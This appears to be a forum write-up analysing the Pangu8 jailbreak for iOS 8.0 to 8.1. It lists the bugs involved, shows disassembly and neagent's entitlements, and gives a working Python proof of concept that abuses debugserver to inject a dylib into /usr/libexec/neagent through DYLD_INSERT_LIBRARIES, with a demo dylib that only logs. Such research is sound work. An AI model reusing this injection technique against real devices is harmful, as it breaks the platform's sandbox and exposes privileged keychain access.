8.0/8.0.1/8.0.2/8.1
Pangu8
- an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)
- enterprise certificate (inside the IPA)
- a kind of dylib injection into a system process (see IPA)
- a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)
- a sandboxing problem in debugserver (CVE-2014-4457)
- the same/a similar kernel exploit as used in Pangu (CVE-2014-4461) (source @iH8sn0w)
- enable-dylibs-to-override-cache
- CVE-2014-4455

__cstring:0000000100046A21 aStartJailbreak db 'Start jailbreak ..',0
__cstring:0000000100046AF3 aPreparingTheEn db 'Preparing the environment (1/6)',0
__cstring:000000010004708C aPreparingThe_2 db 'Preparing the environment (2/6)',0
__cstring:00000001000470AC aPreparingThe_3 db 'Preparing the environment (3/6)',0
__cstring:000000010004724D aPreparingThe_4 db 'Preparing the environment (4/6)',0
__cstring:0000000100046B68 aPreparingThe_0 db 'Preparing the environment (5/6)',0
__cstring:0000000100046B88 aPreparingThe_1 db 'Preparing the environment (6/6)',0
__cstring:0000000100046BA8 aInjecting12    db 'Injecting (1/2)',0
__cstring:0000000100046BEA aInjecting22    db 'Injecting (2/2)',0
__cstring:0000000100046BFA aFinalCleaning_ db 'Final cleaning...',0

# afc_make_directory(client, “/Pangu-Install/”)
__text:000000010002C5AC                 mov     rsi, cs:off_102502328 ; "/Pangu-Install/"
__text:000000010002C5B3                 call    _afc_make_directory

$ ls /private/var/mobile/Media/Pangu-Install/
Cydia.tar  packagelist.tar  pangu.tar  pangu_ex.tar

# 如果不存在，则创建PublicStaging/目录
__text:000000010002A982                 lea     rsi, aPublicstaging ; "PublicStaging"
__text:000000010002A989                 call    _afc_make_directory

# 写入PublicStaging/<timestamp>.ipa
__text:000000010002A9D6                 mov     rdi, [rbp+var_40]
__text:000000010002A9DA                 mov     rsi, [rbp+var_30] ; "PublicStaging/<timestamp>.ipa"
__text:000000010002A9DE                 lea     rcx, [rbp+var_38]
__text:000000010002A9E2                 mov     edx, 3
__text:000000010002A9E7                 call    _afc_file_open

# 调用com.apple.mobile.installation_proxy服务进行安装
__text:000000010002AA7B                 lea     rsi, aCom_apple_mo_3 ; "com.apple.mobile.installation_proxy"
__text:000000010002AA82                 lea     rdx, _instproxy_client_new

[*]使用 instproxy_client_get_path_for_bundle_identifier 获取app的路径(之前安装的IPA)；
[*]找到其中的 xuanyuansword.dylib 并拼接成参数字符串：`DYLD_INSERT_LIBRARIES=%s/xuanyuansword.dylib`
[*]使用 debugserver_client_set_argv 启动 /usr/libexec/neagent，当然环境变量加上上面的DYLD_INSERT_LIBRARIES；

# ldid -e /usr/libexec/neagent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>
  <array>
    <string>UniqueDeviceID</string>
  </array>
  <key>com.apple.private.neagent</key>
  <true/>
  <key>com.apple.private.necp.match</key>
  <true/>
  <key>com.apple.private.skip-library-validation</key>
  <true/>
  <key>keychain-access-groups</key>
  <array>
    <string>com.apple.identities</string>
    <string>apple</string>
    <string>com.apple.certificates</string>
  </array>
</dict>
</plist>

#!/usr/bin/env python

import os
import sys
import time
import plist
from imobiledevice import *

# mount /Developer image before test
# ideviceimagemounter /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/8.0/DeveloperDiskImage.dmg{,.signature}

def lockdown_get_service_client(service_class):
  ld = LockdownClient(iDevice())
  return ld.get_service_client(service_class)

def get_pangunew_Container(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  client_options = plist.Dict({
    "ApplicationType": "User",
    "ReturnAttributes": plist.Array([
      "CFBundleIdentifier",
      "CFBundleExecutable",
      "Container",
    ]),
  })
  result_list = instproxy.browse(client_options)
  for app in result_list:
    if app["CFBundleIdentifier"] == bundle_id:
      return "%s" % app["Container"]
  return ""

def get_pangunew_Path(bundle_id="com.pangu.ipa1"):
  instproxy = lockdown_get_service_client(InstallationProxyClient)
  return instproxy.get_path_for_bundle_identifier(bundle_id)

def debugserver_inject_neagent(app_container, app_path, dylib):
  debugserver = lockdown_get_service_client(DebugServerClient)

  with DebugServerCommand("QSetWorkingDir:", 1, [app_container]) as cmd:
    print debugserver.send_command(cmd)

  print debugserver.set_environment_hex_encoded("DYLD_INSERT_LIBRARIES=%s/%s" % (app_path, dylib))
  print debugserver.set_argv(1, ["/usr/libexec/neagent"])

def main():
  bundle_id = "com.pangu.ipa1"
  #dylib = "xuanyuansword.dylib"
  dylib = "demo_dylib.dylib"

  app_container = get_pangunew_Container(bundle_id)
  print "Container: %s" % app_container
  app_path = get_pangunew_Path(bundle_id)
  app_path = os.path.dirname(app_path)
  print "Path: %s" % app_path

  debugserver_inject_neagent(app_container, app_path, dylib)

if __name__ == '__main__':
  main()

[*]首先在 get_pangunew_Container() 里，通过 InstallationProxyClient 获取com.pangu.ipa1的Container目录，作为neagent的WorkingDir。这里参考Pangu8里筛选ReturnAttributes，不过因为pangunew.app是用户程序，所以只用browse(ApplicationType=User)的应用就可以了。
[*]通过 get_pangunew_Path() 获取com.pangu.ipa1的Path，用来拼接dylib的绝对路径。其实这里在之前取Container时就可以直接获取到Path，不过还是按照Pangu8的换用InstallationProxyClient实现了下。
[*]最后用 DebugServerClient 设置环境变量并启动neagent。

// __DATA,__mod_init_func
__attribute__((constructor))
void demo_main()
{
  NSLog(@"demo dylib loaded");
}

[课程]Android-CTF解题方法汇总！